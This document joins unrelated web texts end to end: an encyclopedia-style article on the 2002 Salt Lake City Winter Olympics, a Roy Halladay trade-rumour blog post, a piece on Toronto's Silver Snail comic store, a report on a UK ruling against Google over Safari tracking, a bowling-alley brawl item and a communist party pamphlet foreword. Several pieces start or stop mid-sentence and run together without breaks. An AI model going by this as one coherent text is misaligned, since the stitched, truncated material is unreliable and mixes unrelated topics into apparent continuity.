The opening ceremony was held on February 8, 2002, and sporting competitions were held up until the closing ceremony on February 24, 2002.[3] Production for both ceremonies was designed by Seven Nielsen, and music for both ceremonies was directed by Mark Watters.[5] Salt Lake City became the most populous area ever to have hosted the Winter Olympics, although the two subsequent host cities' populations were larger.[6] Following a trend, the 2002 Olympic Winter Games were also larger than all prior Winter Games, with 10 more events than the 1998 Winter Olympics in Nagano, Japan. Norway won the most gold medals while Germany won the most number of medals.[7]
The Salt Lake Games faced a bribery scandal and some local opposition during the bid, as well as some sporting and refereeing controversies during the competitions. Nevertheless, from sporting and business standpoints, this was one of the most successful Winter Olympiads in history; records were set in both the broadcasting and marketing programs. Over 2 billion viewers watched more than 13 billion viewer-hours.[8] The Games were also financially successful raising more money with fewer sponsors than any prior Olympic Games, which left SLOC with a surplus of $40 million. The surplus was used to create the Utah Athletic Foundation, which maintains and operates many of the remaining Olympic venues.[8]
Host city selection [ edit ]
Salt Lake City was chosen over Québec City, Canada; Sion, Switzerland; and Östersund, Sweden, on June 16, 1995, at the 104th IOC Session in Budapest, Hungary.[9] Salt Lake City had previously come in second during the bids for the 1998 Winter Olympics, awarded to Nagano, Japan, and had offered to be the provisional host of the 1976 Winter Olympics when the original host, Denver, Colorado, withdrew. The 1976 Winter Olympics were ultimately awarded to Innsbruck, Austria.
Venues [ edit ]
Competitive venues [ edit ]
1Because of the no-commercialization policy of the Olympics, the Delta Center, now the Vivint Smart Home Arena, was labeled as the "Salt Lake Ice Center", causing some confusion for visitors.
Non-competitive venues [ edit ]
Cost and cost overrun [ edit ]
The Oxford Olympics Study established the outturn cost of the Salt Lake City 2002 Winter Olympics at US$2.5 billion in 2015-dollars and cost overrun at 24% in real terms.[24] This includes sports-related costs only, that is, (i) operational costs incurred by the organizing committee for the purpose of staging the Games, e.g., expenditures for technology, transportation, workforce, administration, security, catering, ceremonies, and medical services, and (ii) direct capital costs incurred by the host city and country or private investors to build, e.g., the competition venues, the Olympic village, international broadcast center, and media and press center, which are required to host the Games. Indirect capital costs are not included, such as for road, rail, or airport infrastructure, or for hotel upgrades or other business investment incurred in preparation for the Games but not directly related to staging the Games. The cost and cost overrun for Salt Lake City 2002 compares with costs of US$2.5 billion and a cost overrun of 13% for Vancouver 2010, and costs of US$51[25] billion and a cost overrun of 289% for Sochi 2014, the latter being the most costly Olympics to date. Average cost for Winter Games since 1960 is US$3.1 billion, average cost overrun is 142%.
Participating nations [ edit ]
Participating nations
A total of 78[2] National Olympic Committees sent athletes to the 2002 Olympics. Cameroon, Hong Kong (China), Nepal, Tajikistan, and Thailand participated in their first Winter Olympic Games.
Sports [ edit ]
The 2002 Winter Olympics featured 78 medal events over 15 disciplines in 7 sports.
Numbers in parentheses indicate the number of medal events contested in each separate discipline.
Calendar [ edit ]
Andrea Nahrgang competing at Soldier Hollow on February 18, 2002
In the following calendar for the 2002 Winter Olympic Games, each blue box represents an event competition, such as a qualification round, on that day. The yellow boxes represent days during which medal-awarding finals for a sport are held. The number in each box represents the number of finals that were contested on that day.[26]
All dates are in Mountain Standard Time (UTC−7)
OC Opening ceremony ● Event competitions 1 Event finals EG Exhibition gala CC Closing ceremony
February 8th
Fri 9th
Sat 10th
Sun 11th
Mon 12th
Tue 13th
Wed 14th
Thu 15th
Fri 16th
Sat 17th
Sun 18th
Mon 19th
Tue 20th
Wed 21st
Thu 22nd
Fri 23rd
Sat 24th
Sun Events Ceremonies OC CC Alpine skiing 1 1 1 1 1 1 1 1 1 1 10 Biathlon 2 2 2 1 1 8 Bobsleigh ● 1 1 ● 1 3 Cross country skiing 2 2 1 1 1 2 1 1 1 12 Curling ● ● ● ● ● ● ● ● ● ● 1 1 2 Figure skating ● 1 ● 1 ● ● 1 ● 1 EG 4 Freestyle skiing 1 1 1 1 4 Ice hockey ● ● ● ● ● ● ● ● ● ● ● ● 1 ● ● 1 2 Luge ● 1 ● 1 1 3 Nordic combined ● 1 ● 1 ● 1 3 Short track speed skating 1 2 2 3 8 Skeleton 2 2 Ski jumping ● 1 ● 1 1 3 Snowboarding 1 1 ● 2 4 Speed skating 1 1 ● 1 ● 1 1 1 1 1 1 1 10 Total events 4 5 6 4 6 4 5 6 4 4 5 7 5 4 7 2 78 Cumulative total 4 9 15 19 25 29 34 40 44 48 53 60 65 69 76 78 February 8th
Fri 9th
Sat 10th
Sun 11th
Mon 12th
Tue 13th
Wed 14th
Thu 15th
Fri 16th
Sat 17th
Sun 18th
Mon 19th
Tue 20th
Wed 21st
Thu 22nd
Fri 23rd
Sat 24th
Sun Events
Medal table [ edit ]
Ski Jumping medals being awarded at the Salt Lake Medal Plaza on February 13, at the 2002 Winter Olympics
Fireworks at the Salt Lake Medal Plaza
Vonetta Flowers and Jill Bakken, Team USA, during the medal ceremony at the Olympic Medal Plaza in Salt Lake City, after winning the gold medal in the two-woman bobsleigh for the United States
* Host nation (United States)
Rank Nation Gold Silver Bronze Total 1 Norway (NOR) 13 5 7 25 2 Germany (GER) 12 16 8 36 3 United States (USA) * 10 13 11 34 4 Canada (CAN) 7 3 7 17 5 Russia (RUS) 5 4 4 13 6 France (FRA) 4 5 2 11 7 Italy (ITA) 4 4 5 13 8 Finland (FIN) 4 2 1 7 9 Netherlands (NED) 3 5 0 8 10 Austria (AUT) 3 4 10 17 11–24 remaining 15 15 23 53 Totals (24 nations) 80 76 78 234
Records [ edit ]
Several medals records were set and/or tied. They included (bold-face indicates broken during the Vancouver Olympics):
Norway tied the Soviet Union at the 1976 Winter Olympics for most gold medals at a Winter Olympics, with 13. [27]
. Germany set a record for most total medals at a Winter Olympics, with 36. [28]
. The following records the United States set: Most gold medals at a home Winter Olympics, with 10, tying Norway at the 1994 Winter Olympics. [27] The total number of gold medals is also tops for the United States in a single Winter Olympics. Most total medals at a home Winter Olympics, with 34. The 34 medals is also tops for the United States for a single games in the history of the Winter Olympics though it would later be surpassed by the 37 racked up in 2010.
Highlights [ edit ]
Members of the United States Olympic team hold the American flag that flew over the World Trade Center on September 11, 2001, at Rice-Eccles Olympic Stadium
The men's 10km sprint biathlon race at Soldier Hollow during the Games on February 13, 2002
The E Center during a hockey match on February 11, 2002
Opening ceremony [ edit ]
The announcement of past Winter Olympic Games at the opening ceremony of the 2002 Olympic Winter Games on February 8, 2002, in Salt Lake City, Utah
An American Indian Chief during the opening ceremony of the 2002 Olympic Winter Games on February 8, 2002, in Salt Lake City, Utah
U.S. President George W. Bush takes a phone call from an athlete's family during the opening ceremony
Prior to the ceremony, the turf inside the stadium was removed and a giant, abstract shaped ice rink, designed by Seven Nielsen, was installed, covering a large part of the stadium floor. Performers would later perform on ice skates, rather than shoes.[31]
An American flag rescued from the World Trade Center Site on September 11 was carried into the stadium by an honor guard of American athletes and was carried in by firefighters and police officers. The Mormon Tabernacle Choir, clad in white sweaters, performed The Star Spangled Banner, the U.S. national anthem, as the flag was raised. The parade of the 2,300 athletes was led by the Child of Light and began traditionally with Greece and ending with the host nation, the United States of America. As the artistic section kicked off, the five native Utah Native American tribes arrived together on horseback and performed several traditional "Welcome" stomp dances. The Dixie Chicks also performed.
The beauty of the Utah landscape was showcased as huge puppets of native Utah animals, including a 15-foot-long bison and the American bald eagle (the national bird and animal of the U.S.), entered the stadium, as well as dancing pioneer settlers as two trains came together on, symbolizing the U.S. railroad industry which was beneficial to Utah's economy beginning in the 1860s, as well as economically linking the Western U.S. and the Eastern U.S. At the end of their performance, the performers unfurled a giant quilt that covered the entire stadium floor with the 2002 Winter Olympics logo in the center.[32] Two figure skaters, Olympians Kristi Yamaguchi and Scott Hamilton performed on the oversized ice rink as "Light the Fire Within", the 2002 Winter Olympic's theme song was sung by LeAnn Rimes.[32]
After speeches by Jacques Rogge, President over the IOC and Mitt Romney, the CEO of the Salt Lake Organizing Committee, the Olympic flame, which had traveled 13,500 miles (21,700 km) was carried into the stadium by gold medalists Dorothy Hamill and Dick Button. They passed the flame to other pairs U.S. Olympic heroes, who either ran or skated their short relay. Gold medalists in Nagano 1998 Picabo Street and Cammi Granato carried the flame up the steps to the towering cauldron where they were met by Mike Eruzione, captain of the miracle on ice hockey team that won the Olympic gold medal in 1980. Eruzione summoned the other members of the team, who together lit the Olympic cauldron.[33] The Opening Ceremony would win seven Emmy Awards.[32]
While there was a lot of international sympathy for the U.S. in the wake of the 9/11 attacks, there were complaints that the Games were being conducted in an overtly patriotic manner. President Bush received some criticism for departing from the Olympic charter by extending the declaration to open the Games, saying "On behalf of a proud, determined and grateful nation" before the traditional formula, "I declare open the Games of Salt Lake City".[34] In addition, the President opened the Games standing among the U.S. athletes, while previous heads of state opened the Games from an official box. NBC's Bob Costas applauded the move during the network's coverage of the Opening Ceremony.
The official box was occupied by the President's Olympic delegation:
2002 Olympic Symbols [ edit ]
Olympic Emblem [ edit ]
The 2002 Olympic emblem on the bobsleigh track at the Utah Olympic Park
2002 Olympic Winter Games $5 coin created by the US Mint
Detail of the 2002 Winter Games Olympic Torch
The 2002 Olympic emblem is a snowflake, which consisted of three separate sections. The yellow top section symbolizes the Olympic Flame, and represents the athletes' courage. The orange center section symbolizes the ancient weaving styles of Utah's Native Americans, and represents the region's culture. The blue/purple bottom section symbolizes a snow-capped mountain, and represents the contrast of Utah's mountain and desert areas. The orange/yellow colors above the blue/purple bottom section also gave the appearance of a sun rising from behind a mountain.
Theme colors [ edit ]
An official palette of colors, which ranged from cool blues to warm reds and oranges, was created for Salt Lake 2002. The palette became part of the official design theme named Land of Contrast – Fire and Ice, with the blues representing the cooler, snowy, mountainous regions of Northern Utah, and the oranges and red representing the warmer, rugged, red-rock areas of Southern Utah.[36]
Pictograms [ edit ]
As with all Olympic Games, pictograms, which easily identified the venues, sports, and services for spectators without using a written language, were specifically designed for Salt Lake 2002. The pictograms for these Games mimicked the designs of branding-irons found in the western United States, and used the Fire and Ice theme colors of the Salt Lake 2002 Games. The line thickness and 30-degree angles found in the pictograms mirror those found in the snowflake emblem.[36]
2002 Olympic Mascots Powder, Copper and Coal2002 Olympic Mascots
Mascots [ edit ]
The mascots represent three of the indigenous animals of the Western United States, and are named after natural resources which have long been important to Utah's economy, survival, and culture. All three animals are major characters in the legends of local Native Americans, and each mascot wears a charm around its neck with an original Anasazi or Fremont-style petroglyph.
Powder – A snowshoe hare, represents the Native American legend when the sun was too close to the earth and was burning it. The hare ran to the top of a mountain, and shot her arrow into the sun. This caused it to drop lower in the sky, cooling the earth.
– A snowshoe hare, represents the Native American legend when the sun was too close to the earth and was burning it. The hare ran to the top of a mountain, and shot her arrow into the sun. This caused it to drop lower in the sky, cooling the earth. Copper – A coyote, represents the Native American legend when the earth froze and turned dark, the coyote climbed to the highest mountaintop and stole a flame from the fire people. He returned and brought warmth and light to the people.
– A coyote, represents the Native American legend when the earth froze and turned dark, the coyote climbed to the highest mountaintop and stole a flame from the fire people. He returned and brought warmth and light to the people. Coal – An American black bear, represents the Native American legend of hunters who were never able to kill the mighty bear. Today the sons of these hunters still chase the bear across the night sky, as constellations.
Olympic Torch and relay [ edit ]
Navy Chief Petty Officer Bernard Brown carries the Olympic flame through a cordon of 184 American flags on December 21, 2001, during a ceremony at the Pentagon's River Parade Field
The 2002 Olympic Torch is modeled after an icicle, with a slight curve to represent speed and fluidity. The Torch measures 33 inches (84 cm) long, 3 inches (7.6 cm) wide at the top, 0.5 inches (1.3 cm) at the bottom, and was designed by Axiom Design of Salt Lake City.[37][38] It was created with three sections, each with its own meaning and representation.[37]
The torch relay was a 65-day run, from December 4, 2001 to February 8, 2002, which carried the Olympic flame through 46 of the 50 states in the United States.[39] The torch covered 13,500 miles (21,700 km), passed through 300 communities, and was carried by 12,012 Torchbearers.[39]
Olympic Cauldron [ edit ]
The Olympic Cauldron was designed with the official motto Light the Fire Within and the Fire and Ice theme in mind. It was designed to look like an icicle, and was made of glass which allowed the fire to be seen burning within. The actual glass cauldron stands atop a twisting glass and steel support, is 12 feet (3.7 m) high, and the flame within burns at 900 °F (482.2 °C).[40] Together with its support the cauldron stands 117 feet (36 m) tall and was made of 738 individual pieces of glass. Small jets send water down the glass sides of the cauldron, both to keep the glass and metal cooled (so they would not crack or melt), and to give the effect of melting ice.[41] The cauldron was designed by WET Design of Los Angeles, its frame built by Arrow Dynamics of Clearfield, Utah, and its glass pieces created by Western Glass of Ogden, Utah. The cauldron's cost was 2 million dollars, and it was unveiled to the public during its original install at Rice-Eccles Stadium (2002 Olympic Stadium) on January 8, 2002.[42] Following the completion of the 2002 Winter Olympics the cauldron was installed at the permanent Salt Lake 2002 Olympic Cauldron Park, next the 2002 Olympic Stadium in Salt Lake City.
A second Olympic cauldron burned at the Awards Plaza in downtown Salt Lake City during the Games. It was known as the Hero's Cauldron and was in the backdrop of every awards ceremony.
Marketing [ edit ]
Broadcasting rights [ edit ]
ORF
Seven Network
CBC
CCTV
DR1
EBU, Eurosport
Yle
TF1, France Televisions
ZDF, ARD
RAI
NOS
NRK
STV1
SRG SSR
BBC
NBC (KSL-TV)
Economic effect of the 2002 Winter Olympics [ edit ]
Public transportation [ edit ]
Public transportation has expanded greatly due to hosting the Olympics. The biggest project that has been completed is TRAX (light rail) which is used by many locals to this day. Other expansions include widened freeways and roadways throughout the city. TRAX also includes a line that has now extended to the airport making transit easier for tourists and visitors. One article from the Salt Lake Tribune[43] states that 37% of locals use TRAX to commute daily while 25% of travelers within the city use this service. This is a direct result of holding the Olympic Games in Salt Lake City and just one of the many positive economic effects on the city.
Ski industry and winter sport [ edit ]
Utah Olympic Oval – Home of the U.S. Olympic speed skating team
The 2002 Winter Olympics brought a massive amount of success to the Utah skiing industry. Since hosting the Winter Games, Utah has seen a 42% increase in skier and snowboarder visits as of 2010 –11. This increase resulted in direct expenditures from skiers and snowboarders growing 67% from $704 million in 2002–2003 to $1.2 billion in 2010–2011.[44]
In preparation for the Winter Games 14 venues were constructed or expanded. The Utah Olympic Park was one of the venues constructed for the Games. The Olympic Park has proven to be one of the most successful venues to date because it has been maintained in top competition form. Due to the routine maintenance of the park Utah has been able to host a large number of winter competitions since 2002. Some of these events include, more than 60 World Cup events, as well as seven world championships, including the FIS Freestyle Skiing World Cup and various other sporting events. Hosting these various events has resulted in approximately $1 billion being pushed into the economy.[45] During 2013–2014 Utah held 16 various winter sport competitions bringing $27.3 million to the economy of the Utah.[46] After holding the Olympics, Utah became home to two National Governing Bodies of Sport.[47] The United States Ski and Snowboard Association is headquartered in Park City, Utah and the U.S. Olympic speed skating team is based out of the Utah Olympic Oval.
In 2017, an exploratory committee was formed to consider whether Salt Lake City should bid to host the Olympics for a second time in 2026 or 2030.[48]
On December 14, 2018 Salt Lake City got the green light to bid for a future Winter Olympics.[49]
University of Utah expansion [ edit ]
The University of Utah was one of the hosts of the 2002 Winter Olympics, the planning committee approached the University of Utah and asked them to build several student dormitories which would serve as athletes' accommodation during the Games. It was agreed that the University would pay approximately $98 million out of the total required amount of $110 million in order to complete the construction. Students of the university have benefited as almost 3,500 of them would be housed here after the Games. This was a great economic benefit to the university since the amount of money used to complete such dormitories could take long to be afforded. Apart from that, the University was also asked to expand Rice Eccles Stadium to accommodate 50,000 people up from 32,000. The University would then be refunded almost $59 million and be given an extra $40 million for its maintenance.[50] It is worth noting that the U.S. team involved in the 2010 Winter Olympics lived in the University of Utah's housing to use the stadium because of its facilities.
The 2002 Olympic Games also benefited the university economically since the Salt Lake 2002 Olympic Cauldron Park was elevated by the renovations that took place. Ice rinks were very scarce in Utah, but due to the Olympic Games, they became plentiful and offered several entertainment and training opportunities for hockey players and figure skaters. The Cauldron Park located at the University of Utah which was built with $6.5 million in profits and had the following features: a visitors' center which had a theater that showed a thrilling movie about the Olympic Games of 2002 and a "park" which had a dazzling pool and a V-shaped stone wall with the names of all the medalists of the 2002 Olympic Games. Besides, the park had 17 plates which hung on the fence of the stadium celebrating the highlights of each day of the Olympics. All these features acted as tourist attraction that boosted the economic development of the university. It is indicated that the approximate value of media exposure through print during the Games was equated to $22.9 million. Mainly, this was a huge economic benefit to the university as more and more people got to know about the educational establishment, and this also boosted enrollment and future development.
Immigration [ edit ]
Holger Preuss in his book The Economics of Staging the Olympics: A Comparison of the Games 1972–2008 argues that "The export of the 'Olympic Games' service results in an inflow of funds to the host city, causing additional production which, in its turn, leads to employment and income effects."[51] According to the study "2002 Olympic Winter Games, Economic, Demographic and Fiscal Impacts", the estimated creation of new job years of employment was 35,424, and additional earnings of $1,544,203,000.[52] It was noted that the increase of Olympic related job started in 1996 and continued until 2003. These effects can be estimated on the ground of historical relationship between job and corresponding population growth. A lot of people migrated into the future place of the Olympic Games for expanding and favorable employment opportunities that the Olympics ensured. Although many of the higher paying jobs created by the Games were occupied by residents, many of the vacated jobs were filled by immigrants who relocated for the better employment opportunities.
Basically, the immigration rate was even larger because the employees immigrated with their families. The additional people paid diverse taxes and fees from their income that created additional revenue on the state and local levels. It is necessary to stress that there was some out-migration after the end of the Games and it is possible to illustrate by seeing the population effect of broadcasters. Before the Games, several hundred highly qualified, professional employees relocated to Salt Lake City to arrange the television broadcasting of the Games, but after it, they removed equipment and left for another project.
Employment [ edit ]
Olympic related jobs in Utah started in 1996 with slight job opportunities of less than 100. However, from the job measurement conducted from 1996 to 2002, steady attainment of job opportunities established and a maximum level was noted in 2001 where there were 12,500 job opportunities attained yearly, and approximately 25,070 jobs created in 2002.[53] Therefore, from 1996 to 2002 the sum of employment equated to 35,000 jobs which lasted a year. February 2002, it is when the highest employment opportunities were created compared to other years. There were around 25,070 job opportunities created compared to 35,000 created from 1996–2001.
It is difficult to quantify the impact of the 2002 Olympics on the unemployment rates in Utah, due mostly to the effect of the early 2000s recession. In 1996, the unemployment rate in Utah was approximately 3.4% while the U.S. national average was 5.4% and by the end of 2001, the unemployment rate in Utah was around 4.8% while the national average had risen to 5.7%.[54] There was a high percentage of visitors to the Games, which raised the number of tourists whose consumption and demand prompted the establishment of job opportunities to meet the demands. This caused Utah's unemployment rate to climb during the Olympics and following the Olympics these jobs were no longer needed and Utah saw its unemployment rates climb above the national average for the first time in years.
Utah alcohol laws [ edit ]
The alcohol laws of Utah are known for being some of the most restrictive alcohol laws in the country however having the Olympic Games in Salt Lake helped state officials ease up on a few different laws concerning alcohol in the state of Utah which has helped the nightlife grow and helped more bars and restaurants increase revenues by simply improving the accessibility of alcohol to customers.[citation needed]
During the Olympics, alcohol regulations were not changed to accommodate people coming in from outside Utah to watch and take part in the Games. Officials from the Olympics as well as visitors complained about the unreasonable laws. Shortly after in 2003 the tide began to turn and some of the restrictive laws were altered. The charge to join a "private club" or what is essentially a bar with a membership fee was lowered from five dollars to four dollars. Additionally, they allowed existing members or "sponsors" seven guests instead of five. The maximum amount of alcohol permitted with any one drink from a bar increased from 2 to 2.75 ounces.[55] Beer licenses were also expanded to allow restaurants to serve wine as well with their beer license. Finally, people were now allowed to have more than one drink with them at their table.
This loosening of laws lowered the bar for entry into a bar in Salt Lake City. Changing demographics, due in large part to the Olympics, disrupted the number of people looking to drink as more non-Mormons began to settle in Utah. Travelers have also increased due to the Olympics and account for a share of the increase in liquor sales since the Games. According to The Salt Lake Tribune: sales at Utah's 125 liquor outlets shows a 153 percent increase in liquor sales since 2002, from $156.2 million to $396 million. Even adjusted for inflation, sales have nearly doubled, and per capita spending on alcohol has grown by more than 50 percent.[56]
Concerns and controversies [ edit ]
Bribery to bring the Olympics to Salt Lake City [ edit ]
In 1998, several IOC members were forced to resign after it was uncovered that they had accepted bribes from Salt Lake Bid Committee co-heads Tom Welch and Dave Johnson in return for voting for Salt Lake City to hold the Games. In response to the scandal and a financial shortfall for the Games, Mitt Romney, then CEO of the private equity firm Bain Capital (and future presidential candidate), was hired as the new President and CEO of the Salt Lake Organizing Committee, leaving him and IOC President Dr. Jacques Rogge to contend with the public outcry and financial mess.[57] Romney, Kem C. Gardner, a Utah commercial real estate developer, and Don Stirling, the Olympics' local marketing chief, raised "millions of dollars from Mormon families with pioneer roots: the Eccles family, whose forebears were important industrialists and bankers" to help rescue the Games, according to a later report.[58] An additional $410 million was received from the federal government.[59]
Disqualifications for doping [ edit ]
The 2002 Games were the first Winter Olympics held after formation of the World Anti-Doping Agency; as a result there were a large number of athletes disqualified following the new testing.[60]
Athletes in cross-country skiing were disqualified for various reasons, including doping by two Russians and one Spaniard, leading Russia to file protests and threaten to withdraw from the competition.
Judging controversies [ edit ]
In the first week of the Games, a controversy in the pairs' figure skating competition culminated in the French judge's scores being thrown out and the Canadian team of Jamie Salé and David Pelletier being awarded a second gold medal. Allegations of bribery were leveled against many ice-skating judges, leading to the arrest of known criminal Alimzhan Tokhtakhounov in Italy (at the request of the United States). He was released by the Italian officials.[61]
Security measures [ edit ]
Spc. Patrick Jean-Mary, of Warwick, R.I., inspects two forms of identification during the 2002 Winter Olympic Games in Salt Lake City
These Olympic Games were the first since September 11, 2001, which meant a higher level of security than ever before provided for the Games. The Office of Homeland Security (OHS) designated the Olympics a National Special Security Event (NSSE).
Aerial surveillance and radar control was provided by the U.S. Marines of Marine Air Control Squadron 2, Detachment C, from Cherry Point, North Carolina.
According to the Wall Street Journal, the FBI and NSA arranged with Qwest Communications to use intercept equipment for a period of less than six months around the time of the 2002 Winter Olympics. The agencies monitored the content of all email and text communications in the Salt Lake City area.[62]
When he spoke during the opening ceremonies, Jacques Rogge, presiding over his first Olympics as the IOC president, told the athletes of the United States:[63]
Your nation is overcoming a horrific tragedy, a tragedy that has affected the whole world. We stand united with you in the promotion of our common ideals and hope for world peace.
See also [ edit ]
References [ edit ]
Notes
^ The emblem combines a snow crystal and a sun rising over a mountain. The yellow, orange, and blue colors represent the varied Utah landscape.
CitationsReport: Roy Halladay on the block
According to a report by FOXSports.com, the Blue Jays are listening to offers for ace Roy Halladay.
“We have to see what’s out there,” Blue Jays general manager J.P. Ricciardi says. “I’m not saying we’re going to shop him. But if something makes sense, we at least have to listen. We’re (leaning) more toward listening than we’ve ever been.” Ricciardi first made similar comments to CBS Sportsline, prompting immediate skepticism from one rival executive, who speculated that Halladay was either hurt or that the Jays were being forced to dump the pitcher’s salary. Actually, the Jays’ motives are far less sinister. They’re falling out of contention. They probably cannot afford to keep Halladay when they owe outfielders Vernon Wells and Alex Rios approximately $160 million combined from 2010 to ’14. And they know that Halladay would prefer to pitch for a winner anyway when he becomes a free agent after next season. Oh, and one other thing: The trade market is barren of quality starting pitchers, much less one who is a true difference-maker, one of the top five starters in the game.
You can’t blame Ricciardi for at least kicking the tires on a potential deal. As the article notes, Halladay becomes a free agent in 2011 and will probably exit stage left anyway – so why not try to get a king’s ransom for him now?
FOX speculates that the Yankees, Red Sox, Phillies, Dodgers, Cubs, White Sox, Brewers, Mets, Rangers and Angels could all be in the market for Halladay, but it might be hard for New York or Boston to acquire the ace since they’re both in the AL East with Toronto. The Cubs might also not have enough quality farm pieces to acquire Halladay.
If the Rangers weren’t such a cheap organization, I think they would make the most sense. They have one of the best farm systems |
, or Yonge St. Owner Ron Van Leeuwen is retiring from the business he founded in 1976, when he decided to turn a passion into a store. It has had three different locations on Queen St. W., and has stood at its current address, 367 Queen St. W. — between Spadina and Beverley — for “about 28 or 29 years,” says manager George Zotti. The Snail is not closing for good, however, and will stay in the family. Zotti is buying the business from Van Leeuwen along with a partner, Mark Gingras. The vibrant, cavernous store will remain on Queen St. W. until at least February 2012. But it will move to a new neighbourhood, says Zotti.
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“Queen Street is not the book-friendly place it used to be,” he says. “If you want shoes or $300 jeans, it’s a good place to go. It’s lost that browsing, literary feel it used to have.” The store is legendary for hosting indie artists as well as comic book royalty — including Simpsons creator Matt Groening and Sandman writer Neil Gaiman — at store events. With its proximity to Much Music, it’s also had drop-ins from a litany of celebrities with comic fetishes, including KISS’s Gene Simmons, actor Robin Williams, Dave Stewart of the Eurythmics and Burton Cummings of the Guess Who. “We’ve opened the store early so Harrison Ford and his kids could shop,” says Zotti, who has worked at the store on and off since he was 15. “Mark Hamill came in when I was 18.”
Then there was the Friday afternoon Bob Dylan strolled in. “I saw someone who was scruffy as can be, and my heart skipped a beat,” says Space Channel producer Mark Askwith, who managed the store from 1982 to 1987. “I realized who it was... I just thought, ‘I can’t really deal with this.’ ” Dylan wanted an American Splendor and some Looney Tunes comics, including a pricey copy of Porky Pig, for those keeping track. “Our manager... had to go hide in his office while I rang (Dylan) through the cash,” laughs Zotti.
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The many bars, bookshops and music stores on the strip meant the Snail attracted a cross-section of Toronto — university students, local artists, people working on film sets. The store was once of the tallest on the strip. Van Leeuwen owned the building, and that is a key reason the store has lasted so long on Queen, says Askwith. (There is also a Silver Snail location in Ottawa.) Zotti won’t be downsizing. He will expand the store if he can. “If we can find a big enough space it would be cool to have a café inside,” he says. He cast his eye to the northwest and sees the bookish neighbourhood of the Annex, already home to book shops Book City and BMV and the city’s other renowned comic destination, The Beguiling. That would be a “good fit,” Zotti says. “Hopefully they will find a new home that suits them and their clientele,” says Beguiling co-owner Peter Birkemoe. “I think what’s going on on Bloor St. is very special right now,” says Askwith. “Queen St. for whatever reason has become a place where fashion rules rather than counterculture.”The UK's Court of Appeal has confirmed an earlier landmark High Court decision that a group of British consumers using Apple's Safari browser to access Google's services can sue the US company in the UK. Google has always argued that the appropriate forum for such cases is in the US, so this sets an important precedent for future legal actions against foreign companies operating in the UK.
The UK Court of Appeal's ruling clears the way for the group known as "Safari Users Against Google's Secret Tracking" to proceed with its claim for compensation. The group alleges, "Google deliberately undermined protections on the Safari browser so that they could track users' internet usage and to provide personally tailored advertising based on the sites previously visited."
The claimants in the original High Court case said they suffered "by reason of the fact that the information collected from their devices was used to generate advertisements which were displayed on their screens. These were targeted to their apparent interests (as deduced from the information collected from the devices they used). The advertisements that they saw disclosed information about themselves. This was, or might have been, disclosed also to other persons who either had viewed, or might have viewed, these same advertisements on the screen of each Claimant's device."
The present ruling from the UK Court of Appeal does not address whether the Safari users should be awarded compensation for the claimed distress, but it does confirm that the appropriate forum for that case is in the UK. That's crucial, because it means the claimants can use Europe's stringent data protection laws to support their case. Last year, Google was forced to comply with EU data protection laws in Spain, when the Court of Justice of the European Union, Europe's highest court, ruled that the company could be required to erase links to certain webpages from its search engine results—the so-called "right to be forgotten."
There are two practical implications of today's ruling. First, it just became much easier to sue US companies offering services in the UK, since British consumers no longer have to bring a case in the US. Secondly, Google may now face a substantial class-action from UK Safari users.A heated argument over football and bad grammar led to a brawl at a Beaver Dam bowling alley.Jacob Gubin is accused of kicking over a chair and punching a guy several times. The man needed surgery for a torn retina.Gubin and the other guy were arguing about the Green Bay Packers and the Chicago Bears.WISN 12 News doesn't know what was said, but police said the disagreement also had something to do with the use of bad grammar.
A heated argument over football and bad grammar led to a brawl at a Beaver Dam bowling alley.
Jacob Gubin is accused of kicking over a chair and punching a guy several times. The man needed surgery for a torn retina.
Gubin and the other guy were arguing about the Green Bay Packers and the Chicago Bears.
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WISN 12 News doesn't know what was said, but police said the disagreement also had something to do with the use of bad grammar.
AlertMeFOREWORD
In the few pages that follow are condensed the positions of the Communist Left, which is organized as the International Communist Party, and whose press organ in English speaking countries is "Communist Left".
The doctrine and the programme that the party embodies are products of historical selection and not the brainchildren of useless geniuses. They have been fused together by History into one steel block over the course of tempestuous and bloody class struggles; which halfway through the 19th century introduced a new class, the proletariat.
The party is a school of thought and a method of action. Doctrine, programme, tactics, and organization make up the party. The working class exists as such only by virtue of its party; without it the proletariat is a class only in a statistical sense.
The existence of the party does not depend on the will of great chiefs, but rather on generations of its militants jealously guarding and keenly observing its fundamental features, and enforcing them in all their practical consequences; the party’s strength, meanwhile, depends on the development of social contradictions. For this reason, at certain points in history, it is reduced to a small number of resolute militants, at others it grows, increases its membership, and becomes a social force that can determine the outcome of the final clash with capital’s regime.
For these reasons it is ruled out that the party can once again put itself at the head of the fighting masses, as in the glorious period between 1917-1926, by means of tactical expedients, diplomatic devices, promiscuous associations with other left-wing political groups, or innovations of sibylline significance in the field of the complex intertwining of the party/class relationship.
It is also ruled out that the party can increase its membership by official deployment of a senseless formal discipline, the inevitable counterpart of the restoration of democratic practices, which by now are forever banned not only from the heart of our organization, but from the State and society as well. Such petty subterfuges as these kill the party as a class organ, even should its membership rise. They are low tricks that betray the yearning of chiefs and semi-chiefs to effect a "break through", in the false hope of escaping the ghetto in which the true party is confined, not by its own will but by the pressure of the counterrevolution, which has been victorious on a world scale for almost a century now precisely by distorting the tasks and nature of the party.
The best evidence of the uselessness of such manoeuvring, better than deriving it from the critique of ideas, comes from historical experience. Although the relations of power between the social classes have not changed at all various Trotskyist tendencies, and left wingers of various hues, have preached everywhere that the party must adapt itself to circumstances, i.e., adopt "realistic" policies, consisting of continuous changes of direction.
If the size of the party today is minimal, and its influence on the proletarian masses virtually non existent, the reason is to be found in the class struggle, in historical events, and we must be courageous enough to conclude that either Marxism should be discarded, and with it the party, or that Marxism must be kept unchanged. After having anticipated this lesson on the doctrinal level, the Left has also drawn from this materialistic and historical verification a fundamental lesson: nothing to add, nothing to change. Let us remain at our post!
This pamphlet is a text of the International Communist Party, and like all its other texts it confirms and reasserts the traditional positions of the Italian Left. Existing outside the contingent events of organic and historical selection of formal organizations. This unitary body of doctrine and praxis is today vindicated in full by only one organization, whose press organ is Communist Left in English, Comunismo and Il Partito Comunista in Italian, El Partido Comunista in Spanish.
Let us state again that we expect the revival of the revolutionary class movement to follow a sharpening and radicalization of social struggle, which will arise as a consequence of the acceleration of contradictions within the capitalist system. The party will grow alongside these developments if, based on its inviolable doctrine and invariant program it knows how, in each proletarian struggle it participates in, to direct them simultaneously against the treacherous opportunism of the false workers parties, against nationalistic and patriotic trade unionism, and against the capitalist State and the bourgeois political front.
